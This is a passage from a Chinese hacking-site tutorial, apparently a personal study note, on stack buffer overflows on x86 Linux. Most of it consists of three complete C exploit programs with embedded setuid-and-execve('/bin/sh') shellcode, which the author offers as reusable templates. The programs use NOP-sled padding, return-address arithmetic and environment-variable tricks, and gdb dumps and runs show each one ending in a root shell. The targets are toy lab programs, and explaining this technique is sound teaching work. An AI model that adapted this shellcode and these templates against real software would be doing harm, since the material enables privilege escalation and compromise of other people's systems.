黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 正文
·完美空间提供500M免费AS04-10·企业安全之YY内网准入以04-09
·企业安全之意识与策略04-09·剑走偏锋:IIS漏洞利用04-09
·我来免费网提供100M免费04-09·1122mb.com提供20G超大免04-08
·映像劫持与反劫持技术04-07·让所有"暴力删除工具"无04-07
·入侵88red系统的详细过程04-07·Sql Injection脚本注入终04-07
·vbs+delphi 反弹后门生成04-07·飞讯网提供100MB免费PHP04-07
·突破SQL注入攻击时输入框04-04·结合内核和病毒技术的最04-04
·Real Player rmoc3260.d04-04·亿万网络今月最后为您提04-04
·php+mysql 5 sql inject04-03·Real Player rmoc3260.d04-03
·oblog文件下载漏洞04-03·免费啦提供1G-2G免费全能04-03
·完全解析网页后门和挂马04-02·一句话开3389(只测试过04-02
·萧萧免费空间网提供100M04-02·谷道免费空间网提供1G免04-01
·从本地入手解决双线路由03-31·sablog 1.6 多个跨站漏洞03-31
·富文本编辑器的跨站脚本03-31·Cookie注入是怎样产生的03-31
[推荐]缓冲区溢出笔记
      ★★★★

缓冲区溢出笔记

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-9-5 9:17:45

我们采用RRRRNNNNSSSSS型的填充方法.

下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的模板

[tt@ph4nt0m explab]$ cat stackexp3.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char shellcode[]=
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";



int main(int argc,char **argv){
      char buf[500];
      unsigned long ret,p;
      int i;

      p=&buf;
      ret=p+70;

     memset(buf,0x90,sizeof(buf));

     for(i=0;i<44;i+=4)
           *(long *)&buf[i]=ret;

     memcpy(buf+400+i,shellcode,strlen(shellcode));

     execl("./stack1","stack1",buf,NULL);

     return 0;
}
[tt@ph4nt0m explab]$

先分配一个500BYTES的大BUF,用于我们的构造
把整个BUFFER填满NOPS
memset(buf,0x90,sizeof(buf));

然后把前44BYTES填满RET,这里的44是随便选的,目的只是需要保证覆盖调EIP就可以了.
从前面的分析直到,当覆盖32BYTES时,就会覆盖掉EIP,所以44可以达到我们的要求.
for(i=0;i<44;i+=4)
*(long *)&buf[i]=ret;

接下来把SHELLCODE复制到合适的位置.
memcpy(buf+400+i,shellcode,strlen(shellcode));
这样在SHELLCODE前面几乎有300多个NOPS,成功机率非常大.

最后再执行漏洞程序,拷贝我们精心构造的BUF到目标程序


剩下的关键问题是RET值的确定问题
如前所述,RET的值应该是BUF的起始地址加上一个OFFSET,使得RET能够落在NOPS里面

我们的BUF的结构是RRRRRRNNNNNNNSSSSSS
而RET是从BUF的起始地址开始填充起的,所以,只需要OFFSET能够跳过RET,就可以落到NOPS
里了.

从而我们这样计算
p=&buf;

ret=p+70;

显然,70>44,所以在这个例子中,RET可以跳到NOPS中执行.我们实际来看看

[tt@ph4nt0m explab]$ ./stackexp3
buf's 0xbfffef40
sh-2.05b#

内存分布如下

(gdb) x/50x $esp-36
0xbfffdcdc: 0x08048269 0xbfffe186 0xbfffe186 0xbfffe186
0xbfffdcec: 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffe186
0xbfffdcfc: 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffe186
0xbfffdd0c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd1c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd2c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd3c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd4c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd5c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd6c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd7c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd8c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd9c: 0x90909090 0x90909090
(gdb)
......
(gdb)
0xbfffde70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde90: 0x90909090 0x90909090 0x90909090 0xd889db31
0xbfffdea0: 0x80cd17b0 0xd889db31 0x80cd17b0 0xd889db31
0xbfffdeb0: 0x80cd2eb0 0x6850c031 0x68732f2f 0x69622f68
0xbfffdec0: 0x50e3896e 0x31e18953 0xcd0bb0d2 0x89db3180
0xbfffded0: 0xcd01b0d8 0x0000c680 0x00000000 0x00000000
0xbfffdee0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffdef0: 0x00000000 0x00000000 0x00000000 0x00000000

中间省略的是大量NOPS,正如我们想要的那样,BUF按照我们需要的RRRRRNNNNNSSSSS
方式填充了!

3.利用环境变量

这是目前最有效也最常用的一种方法.适应能力强,而且可以精确定位SHELLCODE的地址,
所以连NOPS都可以不必要,这样带来的好处是绕过了一些环境的安全检察,因为大量的NOPS
肯可能会被检测出来而无法通过执行.

函数execve()是一个比较特殊的函数,他的某些特性能让我们写EXPLOIT事半功倍.

具体原理可以参考OYXin翻译的<<利用execve()函数写无nops exploit>>
可以在http://www.ph4nt0m.net/docs/env.txt找到这篇文章.

简单来说就是把SHELLCODE放到环境变量里.execve()可以提供一个全新的环境给程序.从内存
高址0xc0000000开始计算起,文件名,程序execve()后的环境和参数将被COPY进内存.

这样,只要按照一定顺序,我们就可以公式般计算SHELLCODE的准确位置!
SHELLCODE地址的计算方法是
0xc0000000 - 0x04 - sizeof(filename) - sizeof(shellcode)

这个时候,我们的BUF构造就相对非常简单了.只需要AAAAAAAAR的方式来进行填充
A只需要填充BUF一直到EBP,最后的EIP用一个RET进行覆盖,RET准确的指向SHELLCODE的地址
最后再用SHELLCODE执行整个程序就可以了 !


我们还是针对stack1.c来进行溢出
[tt@ph4nt0m explab]$ cat stack1.c
#include<stdio.h>

int main(int argc,char **argv){
       char buf[10];
       strcpy(buf,argv[1]);
       printf("buf's 0x%8x\n",&buf);
       return 0;

}
[tt@ph4nt0m explab]$

下面是我写的一个演示的EXPLOIT,可以作为类似EXPLOIT的一个模板

[tt@ph4nt0m explab]$ cat stackexp1.c
#include<stdio.h>

char shellcode[]=
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";

int main(int argc,char **argv){
      char buf[32];
      char *p[]={"./stack1",buf,NULL};
      char *env[]={"HOME=/root",shellcode,NULL};
      unsigned long ret;
      ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void *);

      memset(buf,0x41,sizeof(buf));
      memcpy(&buf[28],&ret,4);

      printf("ret is at 0x%8x\n",ret);
      execve(p[0],p,env);

      return 0;
}
[tt@ph4nt0m explab]$

把SHELLCODE放入将要执行的环境变量中
char *env[]={"HOME=/root",shellcode,NULL};

把整个BUF用A填满
memset(buf,0x41,sizeof(buf));

计算RET的值,并覆盖EIP
ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void *);
......
memcpy(&buf[28],&ret,4);

最后执行execve()
execve(p[0],p,env);


我们来看看运行EXPLOIT的内存分布


(gdb) b execve
Breakpoint 1 at 0x80482ec
(gdb) r
Starting program: /home/tt/explab/stackexp1
Breakpoint 1 at 0x420ac7f6
ret is at 0xbfffffbb

Breakpoint 1, 0x420ac7f6 in execve () from /lib/tls/libc.so.6
(gdb) i reg
eax 0xbfffe190 -1073749616
ecx 0x4212ee20 1108536864
edx 0x15 21
ebx 0x42130a14 1108544020
esp 0xbfffe150 0xbfffe150
ebp 0xbfffe158 0xbfffe158
esi 0x40015360 1073828704
edi 0x80484dc 134513884
eip 0x420ac7f6 0x420ac7f6
eflags 0x286 646
......

(gdb) x/50x $esp
0xbfffe150: 0x420ac7f0 0x40015a38 0xbfffe1c8 0x080484a2
0xbfffe160: 0x08048558 0xbfffe190 0xbfffe180 0x4207a750
0xbfffe170: 0x4000807f 0x4001582c 0x00000036 0xbfffffbb
0xbfffe180: 0x08048561 0x080495c0 0x00000000 0x40016380
0xbfffe190: 0x08048558 0xbfffe1a0 0x00000000 0x0804837a
0xbfffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe1b0: 0x41414141 0x41414141 0x41414141 0xbfffffbb
0xbfffe1c0: 0x42130a14 0x40015360 0xbfffe1e8 0x42015574
0xbfffe1d0: 0x00000001 0xbfffe214 0xbfffe21c 0x4001582c
......

(gdb) c
......
(gdb) x/50x $esp
......
0xbfffff40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff50: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff60: 0x00000000 0x00000000 0x00000000 0x36690000
0xbfffff70: 0x2e003638 0x6174732f 0x00316b63 0x41414141
0xbfffff80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffff90: 0x41414141 0x41414141 0xbfffffbb 0x42130a14
0xbfffffa0: 0x40015360 0xbfffe1e8 0x42015574 0x4f480001
0xbfffffb0: 0x2f3d454d 0x746f6f72 0x89db3100 0xcd17b0d8
0xbfffffc0: 0x89db3180 0xcd17b0d8
(gdb)
0xbfffffc8: 0x89db3180 0xcd2eb0d8 0x50c03180 0x732f2f68
0xbfffffd8: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0d231
0xbfffffe8: 0xdb3180cd 0x01b0d889 0x2e0080cd 0x6174732f
0xbffffff8: 0x00316b63 0x00000000 Cannot access memory at address 0xc0000000

(gdb) x/50x 0xbfffffc1
0xbfffffc1: 0xd889db31 0x80cd17b0 0xd889db31 0x80cd2eb0
0xbfffffd1: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
0xbfffffe1: 0x31e18953 0xcd0bb0d2 0x89db3180 0xcd01b0d8
0xbffffff1: 0x2f2e0080 0x63617473 0x0000316b Cannot access memory at address 0xbffffffd
(gdb)


我们已经可以看到程序按照我们的想法执行了.

[tt@ph4nt0m explab]$ ./stackexp1
ret is at 0xbfffffbb
buf's 0xbffffc60
sh-2.05b#


以上是三种常用的方法.

最后,简单说说关于传递环境变量到BUF造成溢出的问题

很多程序由于没有对环境变量进行边界检查,所以当赋予环境变量一个超长的值时,
运行该有漏洞的程序,将把环境变量拷贝进缓冲区,造成溢出.

通常通过setenv(),putenv()等函数进行传递被我们构造的环境变量

由于篇幅关系,这里不再详悉叙述,仅仅给出一个例子和我写的一个相应的EXPLOIT作为参考.

[tt@ph4nt0m explab]$ cat env1.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv){
       char buffer[500];

       printf("buf addr is- %p -\n", &buffer);
       strcpy(buffer, getenv("PH4NT0M"));

       return 0;
}
[tt@ph4nt0m explab]$

下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的一个模板

[tt@ph4nt0m explab]$ cat envexp1.c
#include <stdlib.h>
#include <unistd.h>

char shellcode[]=
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";

unsigned long get_esp(){
     __asm__("movl %esp,%eax");
}

int main(int argc, char **argv){
     char buf[528];
     int i;
     int offset=90;
     unsigned long ret;
     memset(buf,0x90,sizeof(buf));

     /* set offset to 100 to spawn a shell! */
     if(argc>1)
     offset=atoi(argv[1]);

     ret=get_esp()-offset;

     memcpy(buf+524,&ret,4);
     memcpy(buf+400+i,shellcode,strlen(shellcode));

     setenv("PH4NT0M",buf,1);

      printf("retaddr is at 0x%lx \n",ret);

      execl("./env1","env1",NULL);

      return 0;
}
[tt@ph4nt0m explab]$

运行结果如下,OFFSET取100时,造成溢出,得到SHELL

[tt@ph4nt0m explab]$ ./envexp1
retaddr is at 0xbffff1ce
buf addr is- 0xbfffefa0 -
段错误
[tt@ph4nt0m explab]$ ./envexp1 100
retaddr is at 0xbfffed34
buf addr is- 0xbfffeba0 -
sh-2.05b$


以上作为自己学习过程中的一点心得,方便以后备查,也希望能帮助需要的朋友.还请各位前辈
指正其中的缺陷和错误.

上一页  [1] [2] [3] 

文章录入:cainiaowang    责任编辑:sygbox 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886